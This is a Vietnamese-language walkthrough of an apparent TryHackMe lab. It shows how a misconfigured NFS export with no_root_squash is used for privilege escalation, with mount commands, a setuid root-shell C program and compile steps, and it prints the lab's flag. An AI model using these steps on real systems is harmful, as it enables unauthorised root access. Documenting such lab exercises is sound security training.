Description
Linux Privilege Escalation - NFS
Tận dụng việc cấu hình NFS sai để leo thang đặc quyền nhằm đọc flag.
Techniques
Cấu hình của NFS (Network File Sharing) được lưu ở trong file /etc/exports
và có thể được khai thác nếu không được thiết lập hợp lý.
Nội dung của file có thể có dạng như sau:
Nếu option no_root_squash
tồn tại ở trong một thư mục nào đó. Chúng ta có thể “mount” thư mục đó với một attacking machine.
Bước đầu, ta cần liệt kê danh sách các thư mục có thể mount (hay nói đơn giản là các shared folder) của target machine:
showmount -e IP
Sau đó, ta tiến hành mount thư mục có option no_root_squash
(giả sử /backup
) vào thư mục nào đó của attacking machine:
mkdir /tmp/attackingmachine
mount -o rw IP:/backup /tmp/attackingmachine
Sau đó ta tạo ra một tập tin C để chạy /bin/bash
:
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
Biên dịch và set cho nó bit s
1.
Ta không cần phải transfer file sang target machine vì chúng ta đang làm việc ở trên shared folder.
Thực thi file đã biên dịch và ta có quyền root.
Approach
Liệt kê các shared folder của target machine thì thu được:
/home/ubuntu/sharedfolder *
/tmp *
/home/backup *
Tạo thư mục tạm và mount thư mục /home/ubuntu/sharedfolder
vào đó:
┌──(aleister㉿DESKTOP)-[~/TryHackMe/linux_priv_esca/temp]
└─$ sudo mount -o rw 10.10.72.208:/home/ubuntu/sharedfolder .
Tạo exploit bằng code C (chú ý sử dụng quyền root để tạo).
Sau đó biên dịch cũng như là gán bit s
cho exploit vừa tạo:
sudo gcc exploit.c -o exploit -static
sudo chmod +s exploit
Khi dùng lệnh ls
trong thư mục /home/ubuntu/sharedfolder
của target machine thì ta sẽ thấy xuất hiện tập tin exploit.c
và exploit
đã tạo ở trên.
Thực thi exploit
ở trên target machine và ta sẽ có quyền root.
Note
Sử dụng option
static
vì bị lỗi sau ở target machine khi thực thi: GLIBC_2.34 not found.
Truy cập đến /home/matt/flag7.txt
để đọc flag.
Flag
Success
THM-89384012
Footnotes
-
Xem thêm Linux Privilege Escalation - SUID. ↩